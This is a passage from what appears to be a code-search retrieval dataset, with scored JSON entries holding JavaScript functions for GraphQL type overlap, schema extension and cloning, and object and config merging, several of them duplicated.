if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isSubType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n}", "title": "" }, { "docid": "51d029462183258601b3952cbefd3584", "score": "0.4571091", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeA)) {\n if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isSubType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isSubType(typeA, typeB);\n }\n\n if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isSubType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n}", "title": "" }, { "docid": "ecb5f59f7d5b9a1e3946ebf8197bdbe6", "score": "0.45661542", "text": "getAdditionalSchemas() {\n const additionalSchemas = this.schemas.join('\\n');\n return additionalSchemas;\n }", "title": "" }, { "docid": "3a1d36b5e58a7eccebd34e3ac90a72e5", "score": "0.45627776", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeA)) {\n if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isPossibleType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isPossibleType(typeA, typeB);\n }\n\n if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isPossibleType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n}", "title": "" }, { "docid": "a819c40db84ba92cfcae7070a8ce97c5", "score": "0.45545125", "text": "merge(...sources) {\n for (const source of sources) {\n for (let k in source) {\n let vs = source[k],\n vt = this[k];\n if (Object(vs) == vs && Object(vt) === vt) {\n this[k] = this.merge(vt, vs);\n continue;\n }\n this[k] = source[k];\n }\n }\n return this;\n }", "title": "" }, { "docid": "af6bd185b786e537d855db577db0fd7f", "score": "0.4545793", "text": "merge(...sources) {\n for (const source of sources) {\n for (let k in source) {\n let vs = source[k],\n vt = this[k];\n if (Object(vs) === vs && Object(vt) === vt) {\n this[k] = this.mergeHelp(vt, vs);\n continue;\n }\n this[k] = source[k];\n }\n }\n return this;\n }", "title": "" }, { "docid": "0e1076527bf4f22ead71fba045c22bde", "score": "0.45432764", "text": "function extend(first, second) {\n const result = {};\n for (const id in second) {\n if (hasOwnProperty.call(second, id)) {\n result[id] = second[id];\n }\n }\n for (const id in first) {\n if (hasOwnProperty.call(first, id)) {\n result[id] = first[id];\n }\n }\n return result;\n }", "title": "" }, { "docid": "4a4eb66e5e3cd3c827dfffaf124abf77", "score": "0.45281678", "text": "function merge(target, source) {\n // base props\n target = Object.assign( {}, target, _.pick(source, ['devtool', 'mode', 'target']) )\n\n target.entry = Object.assign({}, target.entry, source.entry)\n target.output = Object.assign({}, target.output, source.output)\n target.plugins = target.plugins.concat( source.plugins )\n\n\n return target\n}", "title": "" }, { "docid": "55cbef2e70ad9def21ec7f0d8cf27a73", "score": "0.45250246", "text": "function externalApi(input1orig, input2orig, originalOpts) {\n if (!arguments.length) {\n throw new TypeError(\"object-merge-advanced/mergeAdvanced(): [THROW_ID_01] Both inputs are missing\");\n }\n // notice we have first argument tracking the current path, which is not\n // exposed to the external API.\n return mergeAdvanced({ key: null, path: \"\", type: [getType(input1orig), getType(input2orig)] }, input1orig, input2orig, originalOpts);\n}", "title": "" }, { "docid": "bce4933ffd4406c5e43e176fa5789c5f", "score": "0.45248154", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeA)) {\n if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isSubType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isSubType(typeA, typeB);\n }\n\n if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_0__[\"isAbstractType\"])(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isSubType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n }", "title": "" }, { "docid": "40b8e1de3f1cb2e21d476f27f8d5aa6a", "score": "0.45201898", "text": "function addSchemaToProduct(ProductQuery, SchemaName, SchemaId){ //Product query should usualyl be the Product Id, SchemaName = Model name, SchemaId = individual schema id from our Helpers dbs\n let collectionObj = mongoose.model('Product');\n let schemaObj = mongoose.model(SchemaName);\n let SchemaKey = Object.keys(SchemaId)[0]\n let ObjDestination = SchemaName.toLowerCase()+'s'\n return new Promise(function(resolve, reject) {\n schemaObj.findOne(SchemaId)\n .then((Schema)=>{\n let ProductObj = Schema\n //console.log('Schema Id added:',Schema._id)\n collectionObj.findOne(ProductQuery)\n .then((Product)=>{\n Product[ObjDestination].push(Schema); return Product\n })\n .then((Product)=>{Product.save();console.log('Adding '+SchemaName+' to Product with Id:',Product._id);return Product})\n .then((Product)=>{resolve(Product)}) //injects into the Product\n })\n })}", "title": "" }, { "docid": "7ec0a63cab33a8f714d2bdc6186f5092", "score": "0.45150247", "text": "function merge(a, b) {\n var merged;\n if (a instanceof immutable.Sequence) {\n // Use merge to create another immutable seq\n merged = a.merge(b);\n } else if (Array.isArray(a)) { // Object.create(Array.prototype) doesn't work :'(\n merged = Array.prototype.slice.call(a);\n Sequence(b).forEach(function(v, k) { merged[k] = v; });\n } else {\n var proto = Object.getPrototypeOf(a);\n merged = Object.create(proto);\n Object.keys(a).forEach(function(k) { merged[k] = a[k]; });\n Sequence(b).forEach(function(v, k) { merged[k] = v; });\n }\n return merged;\n}", "title": "" }, { "docid": "fb0d78eb3d139306b15db0e2d28224c0", "score": "0.4514686", "text": "function doMerge(group1, group2) {\n let merged = _.clone(group1);\n Object.keys(group2).forEach(nodeType => {\n if(merged[nodeType]) {\n merged[nodeType] = doSetMerge(merged[nodeType],group2[nodeType]);\n }\n else {\n merged[nodeType] = group2[nodeType]\n }\n });\n return merged;\n }", "title": "" }, { "docid": "a34d0c23debf015dde749c3fdbfb7048", "score": "0.45079502", "text": "function cloneSchema(schema) {\n // TODO(ejoebstl): It would be better to have a concrete implementation for\n // each SDL object and require a clone method on interface level.\n var copy = __assign({}, schema);\n cloneComments(copy, schema);\n copy.types = [];\n for (var _i = 0, _a = schema.types; _i < _a.length; _i++) {\n var type = _a[_i];\n copy.types.push(cloneType(type));\n }\n // Re-Assign type pointer for relations\n for (var _b = 0, _c = copy.types; _b < _c.length; _b++) {\n var type = _c[_b];\n var _loop_1 = function (field) {\n if (typeof field.type !== 'string') {\n var typeName_1 = field.type.name;\n var fieldType = copy.types.filter(function (x) { return x.name === typeName_1; })[0];\n console.assert(fieldType !== undefined); // This case should never happen\n field.type = fieldType;\n }\n };\n for (var _d = 0, _e = type.fields; _d < _e.length; _d++) {\n var field = _e[_d];\n _loop_1(field);\n }\n }\n // Re-Assign field pointer for indices\n for (var _f = 0, _g = copy.types; _f < _g.length; _f++) {\n var type = _g[_f];\n if (type.indices !== undefined) {\n for (var _h = 0, _j = type.indices; _h < _j.length; _h++) {\n var index = _j[_h];\n var _loop_2 = function (i) {\n var fieldName = index.fields[i].name;\n var field = type.fields.filter(function (x) { return x.name === fieldName; })[0];\n console.assert(field !== undefined); // This case should never happen\n index.fields[i] = field;\n };\n // We need an index for setting the element\n // tslint:disable-next-line:prefer-for-of\n for (var i = 0; i < index.fields.length; i++) {\n _loop_2(i);\n }\n }\n }\n }\n return copy;\n}", "title": "" }, { "docid": "161b6a2b04bc61cb47cfe0eda932e37c", "score": "0.4506351", "text": "function mergeConfig(c1, c2) {\n if (!c2) {\n return c1;\n }\n return __assign(__assign(__assign({}, (c1 || {})), (c2 || {})), Object.keys(c1).reduce(function (all, k) {\n all[k] = __assign(__assign({}, c1[k]), (c2[k] || {}));\n return all;\n }, {}));\n }", "title": "" }, { "docid": "2a1baea2324f3c051870041dc95efc0b", "score": "0.45049804", "text": "function _extend() {\n // Get arguments\n var objects = arguments;\n\n // Bail if nothing to merge\n if (!objects.length) {\n return;\n }\n\n // Return first if specified but nothing to merge\n if (objects.lenth == 1) {\n return objects[0];\n }\n\n // First object is the destination\n var destination = Array.prototype.shift.call(objects),\n length = objects.length;\n\n // Loop through all objects to merge\n for (var i = 0; i < length; i++) {\n var source = objects[i];\n\n for (var property in source) {\n if (source[property] && source[property].constructor && source[property].constructor === Object) {\n destination[property] = destination[property] || {};\n _extend(destination[property], source[property]);\n }\n else {\n destination[property] = source[property];\n }\n }\n }\n\n return destination;\n }", "title": "" }, { "docid": "f3feec1217c490c0a57a6cfc154b95da", "score": "0.4496471", "text": "function mergeOptions(options1, options2) {\n options1 = options1 || {}\n options2 = options2 || {}\n const result = { ...options1, ...options2 }\n Object.keys(result).forEach(key => {\n if (Array.isArray(options1[key]) && Array.isArray(options2[key])) {\n result[key] = mergeArrays(options1[key], options2[key])\n }\n })\n return result\n}", "title": "" }, { "docid": "8c5f4c619e72861425da2a49facd1e17", "score": "0.44958407", "text": "function extendSchema(schema, documentAST, options) {\n Object(_type_schema__WEBPACK_IMPORTED_MODULE_8__[\"assertSchema\"])(schema);\n !(documentAST && documentAST.kind === _language_kinds__WEBPACK_IMPORTED_MODULE_13__[\"Kind\"].DOCUMENT) ? Object(_jsutils_invariant__WEBPACK_IMPORTED_MODULE_3__[\"default\"])(0, 'Must provide valid Document AST') : void 0;\n\n if (!options || !(options.assumeValid || options.assumeValidSDL)) {\n Object(_validation_validate__WEBPACK_IMPORTED_MODULE_7__[\"assertValidSDLExtension\"])(documentAST, schema);\n } // Collect the type definitions and extensions found in the document.\n\n\n var typeDefs = [];\n var typeExtsMap = Object.create(null); // New directives and types are separate because a directives and types can\n // have the same name. For example, a type named \"skip\".\n\n var directiveDefs = [];\n var schemaDef; // Schema extensions are collected which may add additional operation types.\n\n var schemaExts = [];\n var _iteratorNormalCompletion = true;\n var _didIteratorError = false;\n var _iteratorError = undefined;\n\n try {\n for (var _iterator = documentAST.definitions[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {\n var def = _step.value;\n\n if (def.kind === _language_kinds__WEBPACK_IMPORTED_MODULE_13__[\"Kind\"].SCHEMA_DEFINITION) {\n schemaDef = def;\n } else if (def.kind === _language_kinds__WEBPACK_IMPORTED_MODULE_13__[\"Kind\"].SCHEMA_EXTENSION) {\n schemaExts.push(def);\n } else if (Object(_language_predicates__WEBPACK_IMPORTED_MODULE_14__[\"isTypeDefinitionNode\"])(def)) {\n typeDefs.push(def);\n } else if (Object(_language_predicates__WEBPACK_IMPORTED_MODULE_14__[\"isTypeExtensionNode\"])(def)) {\n var extendedTypeName = def.name.value;\n var existingTypeExts = typeExtsMap[extendedTypeName];\n typeExtsMap[extendedTypeName] = existingTypeExts ? existingTypeExts.concat([def]) : [def];\n } else if (def.kind === _language_kinds__WEBPACK_IMPORTED_MODULE_13__[\"Kind\"].DIRECTIVE_DEFINITION) {\n directiveDefs.push(def);\n }\n } // If this document contains no new types, extensions, or directives then\n // return the same unmodified GraphQLSchema instance.\n\n } catch (err) {\n _didIteratorError = true;\n _iteratorError = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion && _iterator.return != null) {\n _iterator.return();\n }\n } finally {\n if (_didIteratorError) {\n throw _iteratorError;\n }\n }\n }\n\n if (Object.keys(typeExtsMap).length === 0 && typeDefs.length === 0 && directiveDefs.length === 0 && schemaExts.length === 0 && !schemaDef) {\n return schema;\n }\n\n var schemaConfig = schema.toConfig();\n var astBuilder = new _buildASTSchema__WEBPACK_IMPORTED_MODULE_6__[\"ASTDefinitionBuilder\"](options, function (typeName) {\n var type = typeMap[typeName];\n !type ? Object(_jsutils_invariant__WEBPACK_IMPORTED_MODULE_3__[\"default\"])(0, \"Unknown type: \\\"\".concat(typeName, \"\\\".\")) : void 0;\n return type;\n });\n var typeMap = Object(_jsutils_keyValMap__WEBPACK_IMPORTED_MODULE_5__[\"default\"])(typeDefs, function (node) {\n return node.name.value;\n }, function (node) {\n return astBuilder.buildType(node);\n });\n var _iteratorNormalCompletion2 = true;\n var _didIteratorError2 = false;\n var _iteratorError2 = undefined;\n\n try {\n for (var _iterator2 = schemaConfig.types[Symbol.iterator](), _step2; !(_iteratorNormalCompletion2 = (_step2 = _iterator2.next()).done); _iteratorNormalCompletion2 = true) {\n var existingType = _step2.value;\n typeMap[existingType.name] = extendNamedType(existingType);\n } // Get the extended root operation types.\n\n } catch (err) {\n _didIteratorError2 = true;\n _iteratorError2 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion2 && _iterator2.return != null) {\n _iterator2.return();\n }\n } finally {\n if (_didIteratorError2) {\n throw _iteratorError2;\n }\n }\n }\n\n var operationTypes = {\n query: schemaConfig.query && schemaConfig.query.name,\n mutation: schemaConfig.mutation && schemaConfig.mutation.name,\n subscription: schemaConfig.subscription && schemaConfig.subscription.name\n };\n\n if (schemaDef) {\n var _iteratorNormalCompletion3 = true;\n var _didIteratorError3 = false;\n var _iteratorError3 = undefined;\n\n try {\n for (var _iterator3 = schemaDef.operationTypes[Symbol.iterator](), _step3; !(_iteratorNormalCompletion3 = (_step3 = _iterator3.next()).done); _iteratorNormalCompletion3 = true) {\n var _ref2 = _step3.value;\n var operation = _ref2.operation;\n var type = _ref2.type;\n operationTypes[operation] = type.name.value;\n }\n } catch (err) {\n _didIteratorError3 = true;\n _iteratorError3 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion3 && _iterator3.return != null) {\n _iterator3.return();\n }\n } finally {\n if (_didIteratorError3) {\n throw _iteratorError3;\n }\n }\n }\n } // Then, incorporate schema definition and all schema extensions.\n\n\n for (var _i = 0, _schemaExts = schemaExts; _i < _schemaExts.length; _i++) {\n var schemaExt = _schemaExts[_i];\n\n if (schemaExt.operationTypes) {\n var _iteratorNormalCompletion4 = true;\n var _didIteratorError4 = false;\n var _iteratorError4 = undefined;\n\n try {\n for (var _iterator4 = schemaExt.operationTypes[Symbol.iterator](), _step4; !(_iteratorNormalCompletion4 = (_step4 = _iterator4.next()).done); _iteratorNormalCompletion4 = true) {\n var _ref4 = _step4.value;\n var _operation = _ref4.operation;\n var _type = _ref4.type;\n operationTypes[_operation] = _type.name.value;\n }\n } catch (err) {\n _didIteratorError4 = true;\n _iteratorError4 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion4 && _iterator4.return != null) {\n _iterator4.return();\n }\n } finally {\n if (_didIteratorError4) {\n throw _iteratorError4;\n }\n }\n }\n }\n } // Support both original legacy names and extended legacy names.\n\n\n var allowedLegacyNames = schemaConfig.allowedLegacyNames.concat(options && options.allowedLegacyNames || []); // Then produce and return a Schema with these types.\n\n return new _type_schema__WEBPACK_IMPORTED_MODULE_8__[\"GraphQLSchema\"]({\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n query: getMaybeTypeByName(operationTypes.query),\n mutation: getMaybeTypeByName(operationTypes.mutation),\n subscription: getMaybeTypeByName(operationTypes.subscription),\n types: Object(_polyfills_objectValues__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(typeMap),\n directives: getMergedDirectives(),\n astNode: schemaDef || schemaConfig.astNode,\n extensionASTNodes: schemaConfig.extensionASTNodes.concat(schemaExts),\n allowedLegacyNames: allowedLegacyNames\n }); // Below are functions used for producing this schema that have closed over\n // this scope and have access to the schema, cache, and newly defined types.\n\n function replaceType(type) {\n if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[\"isListType\"])(type)) {\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[\"GraphQLList\"](replaceType(type.ofType));\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[\"isNonNullType\"])(type)) {\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[\"GraphQLNonNull\"](replaceType(type.ofType));\n }\n\n return replaceNamedType(type);\n }\n\n function replaceNamedType(type) {\n return typeMap[type.name];\n }\n\n function getMaybeTypeByName(typeName) {\n return typeName ? typeMap[typeName] : null;\n }\n\n function getMergedDirectives() {\n var existingDirectives = schema.getDirectives().map(extendDirective);\n !existingDirectives ? Object(_jsutils_invariant__WEBPACK_IMPORTED_MODULE_3__[\"default\"])(0, 'schema must have default directives') : void 0;\n return existingDirectives.concat(directiveDefs.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }\n\n function extendNamedType(type) {\n if (Object(_type_introspection__WEBPACK_IMPORTED_MODULE_9__[\"isIntrospectionType\"])(type) || Object(_type_scalars__WEBPACK_IMPORTED_MODULE_10__[\"isSpecifiedScalarType\"])(type)) {\n // Builtin types are not extended.\n return type;\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[\"isScalarType\"])(type)) {\n return extendScalarType(type);\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[\"isObjectType\"])(type)) {\n return extendObjectType(type);\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[\"isInterfaceType\"])(type)) {\n return extendInterfaceType(type);\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[\"isUnionType\"])(type)) {\n return extendUnionType(type);\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[\"isEnumType\"])(type)) {\n return extendEnumType(type);\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[\"isInputObjectType\"])(type)) {\n return extendInputObjectType(type);\n } // Not reachable. All possible types have been considered.\n\n /* istanbul ignore next */\n\n\n throw new Error(\"Unexpected type: \\\"\".concat(Object(_jsutils_inspect__WEBPACK_IMPORTED_MODULE_2__[\"default\"])(type), \"\\\".\"));\n }\n\n function extendDirective(directive) {\n var config = directive.toConfig();\n return new _type_directives__WEBPACK_IMPORTED_MODULE_12__[\"GraphQLDirective\"](_objectSpread({}, config, {\n args: Object(_jsutils_mapValue__WEBPACK_IMPORTED_MODULE_4__[\"default\"])(config.args, extendArg)\n }));\n }\n\n function extendInputObjectType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[config.name] || [];\n var fieldNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(extensions, function (node) {\n return node.fields || [];\n });\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[\"GraphQLInputObjectType\"](_objectSpread({}, config, {\n fields: function fields() {\n return _objectSpread({}, Object(_jsutils_mapValue__WEBPACK_IMPORTED_MODULE_4__[\"default\"])(config.fields, function (field) {\n return _objectSpread({}, field, {\n type: replaceType(field.type)\n });\n }), Object(_jsutils_keyValMap__WEBPACK_IMPORTED_MODULE_5__[\"default\"])(fieldNodes, function (field) {\n return field.name.value;\n }, function (field) {\n return astBuilder.buildInputField(field);\n }));\n },\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendEnumType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[type.name] || [];\n var valueNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(extensions, function (node) {\n return node.values || [];\n });\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[\"GraphQLEnumType\"](_objectSpread({}, config, {\n values: _objectSpread({}, config.values, Object(_jsutils_keyValMap__WEBPACK_IMPORTED_MODULE_5__[\"default\"])(valueNodes, function (value) {\n return value.name.value;\n }, function (value) {\n return astBuilder.buildEnumValue(value);\n })),\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendScalarType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[config.name] || [];\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[\"GraphQLScalarType\"](_objectSpread({}, config, {\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendObjectType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[config.name] || [];\n var interfaceNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(extensions, function (node) {\n return node.interfaces || [];\n });\n var fieldNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(extensions, function (node) {\n return node.fields || [];\n });\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[\"GraphQLObjectType\"](_objectSpread({}, config, {\n interfaces: function interfaces() {\n return [].concat(type.getInterfaces().map(replaceNamedType), interfaceNodes.map(function (node) {\n return astBuilder.getNamedType(node);\n }));\n },\n fields: function fields() {\n return _objectSpread({}, Object(_jsutils_mapValue__WEBPACK_IMPORTED_MODULE_4__[\"default\"])(config.fields, extendField), Object(_jsutils_keyValMap__WEBPACK_IMPORTED_MODULE_5__[\"default\"])(fieldNodes, function (node) {\n return node.name.value;\n }, function (node) {\n return astBuilder.buildField(node);\n }));\n },\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendInterfaceType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[config.name] || [];\n var fieldNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(extensions, function (node) {\n return node.fields || [];\n });\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[\"GraphQLInterfaceType\"](_objectSpread({}, config, {\n fields: function fields() {\n return _objectSpread({}, Object(_jsutils_mapValue__WEBPACK_IMPORTED_MODULE_4__[\"default\"])(config.fields, extendField), Object(_jsutils_keyValMap__WEBPACK_IMPORTED_MODULE_5__[\"default\"])(fieldNodes, function (node) {\n return node.name.value;\n }, function (node) {\n return astBuilder.buildField(node);\n }));\n },\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendUnionType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[config.name] || [];\n var typeNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(extensions, function (node) {\n return node.types || [];\n });\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[\"GraphQLUnionType\"](_objectSpread({}, config, {\n types: function types() {\n return [].concat(type.getTypes().map(replaceNamedType), typeNodes.map(function (node) {\n return astBuilder.getNamedType(node);\n }));\n },\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendField(field) {\n return _objectSpread({}, field, {\n type: replaceType(field.type),\n args: Object(_jsutils_mapValue__WEBPACK_IMPORTED_MODULE_4__[\"default\"])(field.args, extendArg)\n });\n }\n\n function extendArg(arg) {\n return _objectSpread({}, arg, {\n type: replaceType(arg.type)\n });\n }\n}", "title": "" }, { "docid": "74f12cc30c357fc37ca6f49ad891d272", "score": "0.4484635", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if (Object(__WEBPACK_IMPORTED_MODULE_0__type_definition__[\"n\" /* isAbstractType */])(typeA)) {\n if (Object(__WEBPACK_IMPORTED_MODULE_0__type_definition__[\"n\" /* isAbstractType */])(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isPossibleType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isPossibleType(typeA, typeB);\n }\n\n if (Object(__WEBPACK_IMPORTED_MODULE_0__type_definition__[\"n\" /* isAbstractType */])(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isPossibleType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n}", "title": "" }, { "docid": "3243f18cccea52ab99ec741aeebf525d", "score": "0.44803166", "text": "function merge(objA, objB) {\n return Object.assign(objA, objB);\n }", "title": "" }, { "docid": "b6743daf49facdbc4b5480ee711bd44f", "score": "0.44745222", "text": "function merge(object1, object2) {\r\n return Object.assign({}, object1, object2);\r\n}", "title": "" }, { "docid": "aee1b4167376a5b8ffdf8f3958179094", "score": "0.44701302", "text": "function importDefinition() {\n if (isGraphQL) {\n updateGraphQLSchema();\n } else if (isSOAP) {\n updateWSDL();\n } else {\n updateOASDefinition();\n }\n }", "title": "" }, { "docid": "2b6faaf4face81c49d7eb56c598a63bc", "score": "0.4468192", "text": "reset() { Object.assign(this, this.getSchema()) }", "title": "" }, { "docid": "dda7d5d3093082623ec81c0a3563a5e2", "score": "0.4468166", "text": "function mergeCompletionObjects(first, second) {\n return _.mergeWith({}, first, second, function customizer(objValue, srcValue) {\n if (_.isArray(objValue)) {\n return objValue.concat(srcValue);\n }\n });\n}", "title": "" }, { "docid": "7583f2fa79bcbab3735370bb2ab1bc1a", "score": "0.44674328", "text": "function merge(objA, objB) {\n return Object.assign(objA, objB);\n}", "title": "" }, { "docid": "81a915e6b6324e57c7d6f5c674b40fff", "score": "0.44662043", "text": "function mergeInto(obj1, obj2) {\n for (var attrname in obj2) {\n obj1[attrname] = obj2[attrname];\n }\n\n return obj1;\n}", "title": "" }, { "docid": "ae7cf8f295363dab85feee5983ffa1df", "score": "0.44647837", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if ((0, _definition.isAbstractType)(typeA)) {\n if ((0, _definition.isAbstractType)(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isSubType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isSubType(typeA, typeB);\n }\n\n if ((0, _definition.isAbstractType)(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isSubType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n}", "title": "" }, { "docid": "ae7cf8f295363dab85feee5983ffa1df", "score": "0.44647837", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if ((0, _definition.isAbstractType)(typeA)) {\n if ((0, _definition.isAbstractType)(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isSubType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isSubType(typeA, typeB);\n }\n\n if ((0, _definition.isAbstractType)(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isSubType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n}", "title": "" }, { "docid": "ae7cf8f295363dab85feee5983ffa1df", "score": "0.44647837", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if ((0, _definition.isAbstractType)(typeA)) {\n if ((0, _definition.isAbstractType)(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isSubType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isSubType(typeA, typeB);\n }\n\n if ((0, _definition.isAbstractType)(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isSubType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n}", "title": "" }, { "docid": "1f3eccb9981cbbe245a733d92cf3d8eb", "score": "0.4464484", "text": "function merge(target, source) {\n var key;\n for (key in source) {\n if (source.hasOwnProperty(key)) {\n target[key] = source[key];\n }\n }\n}", "title": "" }, { "docid": "7f9d5756dbbd8f72a2931f2dce92dcdb", "score": "0.4461791", "text": "function merge(a, b) {\n return apply(copy(a), b);\n}", "title": "" }, { "docid": "57d0af93279ce4ec74a0aad6d5c573cb", "score": "0.4458747", "text": "function copySchemaFiles() {\n const resolvedSrcSchemaPaths = path.resolve(rootDir, srcSchemaPaths);\n\n glob.sync(resolvedSrcSchemaPaths, void 0).forEach(function(filePath) {\n let destSchemaPath = filePath.replace(/(\\bsrc\\b)(?!.*\\1)/, destDir);\n destSchemaPath =\n destSchemaPath.substr(0, destSchemaPath.lastIndexOf(\".ts\")) + \".json\";\n fs.copyFileSync(filePath, destSchemaPath);\n const fileContents = fs.readFileSync(destSchemaPath).toString();\n const commonJS = \"module.exports = \".concat(\n fileContents.substring(fileContents.indexOf(\"{\"))\n );\n const tempPath = path.resolve(\n path.dirname(filePath),\n `.tmp/${path.basename(filePath)}.js`\n );\n\n try {\n if (!fs.existsSync(path.dirname(tempPath))) {\n fs.mkdirSync(path.dirname(tempPath));\n }\n fs.writeFileSync(tempPath, commonJS);\n const schemaData = require(tempPath);\n const json = JSON.stringify(schemaData, null, 2);\n fs.writeFileSync(destSchemaPath, json);\n } catch (e) {\n console.error(e);\n exit = 1;\n } finally {\n if 